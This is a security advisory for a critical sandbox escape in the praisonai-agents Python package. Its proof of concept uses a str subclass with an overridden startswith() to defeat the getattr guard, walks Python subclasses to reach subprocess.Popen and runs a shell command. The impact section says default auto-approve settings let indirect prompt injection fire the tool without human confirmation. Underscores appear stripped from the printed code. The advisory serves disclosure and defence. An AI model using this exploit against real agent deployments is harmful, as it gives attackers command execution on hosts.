PT-2026-53559 · Pypi · Praisonaiagents

Publicado

2026-06-29

·

Atualizado

2026-06-29

CVSS v3.1

10

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

execute code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safe getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python tools.py:20 (source) -> python tools.py:22 (guard bypass) -> python tools.py:161 (sink)
python
# source -- safe getattr accepts any str subclass
def safe getattr(obj, name, *default):
 if isinstance(name, str) and name.startswith(' '): # isinstance passes for subclasses
   raise AttributeError(...)

# hop -- type() is whitelisted in safe builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via  subclasses  walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC

python

 from praisonaiagents.tools.python tools import execute code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro attr = FakeStr(''.join([' ',' ','m','r','o',' ',' ']))
subs attr = FakeStr(''.join([' ',' ','s','u','b','c','l','a','s','s','e','s',' ',' ']))
mod attr = FakeStr(''.join([' ',' ','m','o','d','u','l','e',' ',' ']))
name attr = FakeStr(''.join([' ',' ','n','a','m','e',' ',' ']))
PIPE = -1

obj class = getattr(type(()), mro attr)[1]
for cls in getattr(obj class, subs attr)():
  try:
    m = getattr(cls, mod attr, '')
    n = getattr(cls, name attr, '')
    if m == 'subprocess' and n == 'Popen':
      r = cls(['id'], stdout=PIPE, stderr=PIPE)
      out, err = r.communicate()
      print('RCE:', out.decode())
      break
  except Exception as e:
    print('ERR:', e)
"""

result = execute code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy mode.py, or bots cli.py set PRAISONAI AUTO APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-484

Produtos afetados

Praisonaiagents